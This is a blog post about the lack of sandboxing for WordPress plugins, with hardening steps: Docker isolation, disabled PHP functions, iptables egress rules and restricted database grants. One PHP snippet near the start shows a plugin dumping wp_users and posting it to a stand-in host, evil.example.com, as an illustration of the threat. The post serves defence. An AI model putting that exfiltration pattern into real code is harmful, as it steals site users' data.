AuthonAuthon Blog
debugging7 min read

Why Your WordPress Plugins Are a Security Nightmare (And How to Fix It)

WordPress plugins run with zero sandboxing. Here's how to contain the damage with containerization, network rules, and least-privilege database access.

AW
Alan West
Authon Team
Why Your WordPress Plugins Are a Security Nightmare (And How to Fix It)

If you've ever managed a WordPress site in production, you've probably had that sinking feeling. You check your security logs on a Monday morning, and something's off. A plugin you installed six months ago — one with thousands of five-star reviews — just got flagged for making outbound requests to a domain in Eastern Europe.

I've been there. Twice. And the second time cost a client three days of downtime.

The WordPress plugin security model is fundamentally broken, and it's not because WordPress developers are careless. It's because the architecture never accounted for the threat model we face today. Let's break down why this happens and what you can actually do about it.

The Root Cause: Unrestricted Plugin Execution

Here's the core issue. When you install a WordPress plugin, that plugin gets full access to your PHP runtime. That means it can:

  • Read and write to your entire database (including wp_users)
  • Access the filesystem with the same permissions as your web server
  • Make arbitrary outbound HTTP requests
  • Execute system commands if exec() or shell_exec() aren't disabled
  • Hook into any other plugin or theme's execution

There's no permission model. No sandboxing. No capability-based access control. A plugin that adds a contact form has the same level of access as your e-commerce checkout handler.

php
// A "simple" contact form plugin could do this
// and WordPress wouldn't blink
global $wpdb;
$users = $wpdb->get_results("SELECT * FROM wp_users");
file_put_contents('/tmp/dump.txt', json_encode($users));
wp_remote_post('https://evil.example.com/collect', [
    'body' => json_encode($users)
]);

Nothing in WordPress prevents this. The plugin API trusts all installed code equally. This is the architectural equivalent of giving every employee in your company the root password to every server.

Why Traditional Fixes Don't Work

The common advice you'll find is:

  • "Only install plugins from the official repository." Sure, but the official repo has had supply chain compromises. Plugins get sold to new owners who inject malicious code. It happened with Display Widgets in 2017, and variants of this attack keep recurring.
  • "Keep everything updated." Updates can introduce vulnerabilities. An update pushed to a compromised plugin propagates the attack to every site running it.
  • "Use a Web Application Firewall." WAFs catch known attack patterns in HTTP requests. They don't stop a plugin from misusing its legitimate server-side access.
  • "Audit the code yourself." Realistic for one or two plugins. Most WordPress sites run 15-30 plugins. Nobody's auditing all of that.

These are band-aids on an architectural wound.

The Real Fix: Isolation and Least Privilege

The solution isn't better plugins — it's a better execution model. Here's how to actually lock things down.

Step 1: Containerize Your WordPress Installation

Run WordPress in Docker with strict resource limits and a read-only filesystem where possible.

yaml
# docker-compose.yml
services:
  wordpress:
    image: wordpress:6.5-php8.2-apache
    volumes:
      - wp_content:/var/www/html/wp-content  # only wp-content is writable
    read_only: true
    tmpfs:
      - /tmp
      - /run/apache2
    deploy:
      resources:
        limits:
          memory: 512M
          cpus: '1.0'
    environment:
      # disable dangerous PHP functions
      PHP_INI_SCAN_DIR: ":/usr/local/etc/php/conf.d/custom"
    networks:
      - internal
      - web  # only this network reaches the internet

  db:
    image: mariadb:11
    networks:
      - internal  # database is NOT accessible from the web network
    volumes:
      - db_data:/var/lib/mysql

networks:
  internal:
    internal: true  # no external access
  web:

This won't stop a plugin from reading your database (it still shares the PHP process), but it limits blast radius. The database isn't exposed to the public network, the filesystem is mostly read-only, and resource limits prevent cryptomining abuse.

Step 2: Disable Dangerous PHP Functions

Create a custom PHP configuration that disables functions plugins should never need:

ini
; custom-security.ini
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,parse_ini_file,show_source,eval

; restrict where PHP can read/write files
open_basedir = /var/www/html/:/tmp/

; prevent URL-based file includes
allow_url_include = Off
allow_url_fopen = Off

Fair warning: some legitimate plugins use curl_multi_exec or allow_url_fopen. You'll need to test your specific plugin stack. I keep a staging environment that mirrors production specifically for this.

Step 3: Restrict Outbound Network Access

This is the big one. Most data exfiltration attacks require outbound HTTP access. Use iptables or your container orchestrator's network policies to restrict which domains your WordPress container can reach.

bash
#!/bin/bash
# allow-outbound.sh — restrict WordPress container to known-good domains

# Flush existing rules for the wordpress chain
iptables -F WORDPRESS_OUT 2>/dev/null || iptables -N WORDPRESS_OUT

# Allow DNS resolution
iptables -A WORDPRESS_OUT -p udp --dport 53 -j ACCEPT
iptables -A WORDPRESS_OUT -p tcp --dport 53 -j ACCEPT

# Allow WordPress.org (updates and plugin repo)
iptables -A WORDPRESS_OUT -d api.wordpress.org -j ACCEPT
iptables -A WORDPRESS_OUT -d downloads.wordpress.org -j ACCEPT

# Add your specific allowed domains here
# iptables -A WORDPRESS_OUT -d your-api.example.com -j ACCEPT

# Drop everything else
iptables -A WORDPRESS_OUT -p tcp --dport 80 -j DROP
iptables -A WORDPRESS_OUT -p tcp --dport 443 -j DROP

This single step would have prevented both incidents I mentioned at the top. The malicious plugin had database access, but it couldn't phone home.

Step 4: Database-Level Access Control

Instead of giving WordPress one database user with full privileges, create a restricted user for the web-facing application:

sql
-- Create a restricted user for WordPress runtime
CREATE USER 'wp_web'@'%' IDENTIFIED BY 'strong_random_password';

-- Grant only what WordPress actually needs day-to-day
GRANT SELECT, INSERT, UPDATE, DELETE ON wordpress.wp_posts TO 'wp_web'@'%';
GRANT SELECT, INSERT, UPDATE, DELETE ON wordpress.wp_postmeta TO 'wp_web'@'%';
GRANT SELECT, INSERT, UPDATE, DELETE ON wordpress.wp_comments TO 'wp_web'@'%';
GRANT SELECT, INSERT, UPDATE, DELETE ON wordpress.wp_options TO 'wp_web'@'%';
GRANT SELECT ON wordpress.wp_users TO 'wp_web'@'%';
-- Note: wp_users only gets SELECT — no bulk export of password hashes

-- Use a separate admin user for wp-admin tasks with full grants
-- Only active during maintenance windows

This is painful to set up because some plugins expect ALTER TABLE or CREATE TABLE permissions at runtime. You'll need a separate DB user for admin operations and switch between them. It's not elegant, but it works.

Prevention: What to Do Before You Install That Plugin

Beyond infrastructure hardening, here's my pre-install checklist:

  • Check the plugin's last update date. Abandoned plugins are prime targets for acquisition attacks. If it hasn't been updated in 12+ months, think twice.
  • Search the plugin name + "vulnerability" on WPScan. The WPScan Vulnerability Database is free and covers most popular plugins.
  • Review the plugin's readme.txt for required permissions. If a contact form plugin says it needs manage_options capability, that's a red flag.
  • Run grep -r 'wp_remote_post\|wp_remote_get\|file_get_contents\|curl_' wp-content/plugins/new-plugin/ before activating. See what external calls it makes.
  • Monitor outbound connections in production. Tools like tcpdump or a network monitoring container can catch unexpected traffic early.

The Bigger Picture

The WordPress plugin problem isn't unique to WordPress. Any CMS or framework that runs third-party code without isolation has the same fundamental issue. The PHP execution model — where all code shares one process and one set of permissions — makes this especially acute.

The industry is slowly moving toward better models. WebAssembly-based sandboxing, capability-based permission systems, and isolated execution environments are all active areas of development. Some newer CMS projects are building these concepts in from day one rather than bolting them on after the fact.

But if you're running WordPress today — and statistically, there's a good chance you are — you can't wait for the ecosystem to catch up. Layer your defenses: containerize, restrict functions, lock down the network, and limit database access. No single measure is bulletproof, but together they turn a catastrophic breach into a contained incident.

That Monday morning feeling? It doesn't have to end in a three-day outage.

Why Your WordPress Plugins Are a Security Nightmare (And How to Fix It) | Authon Blog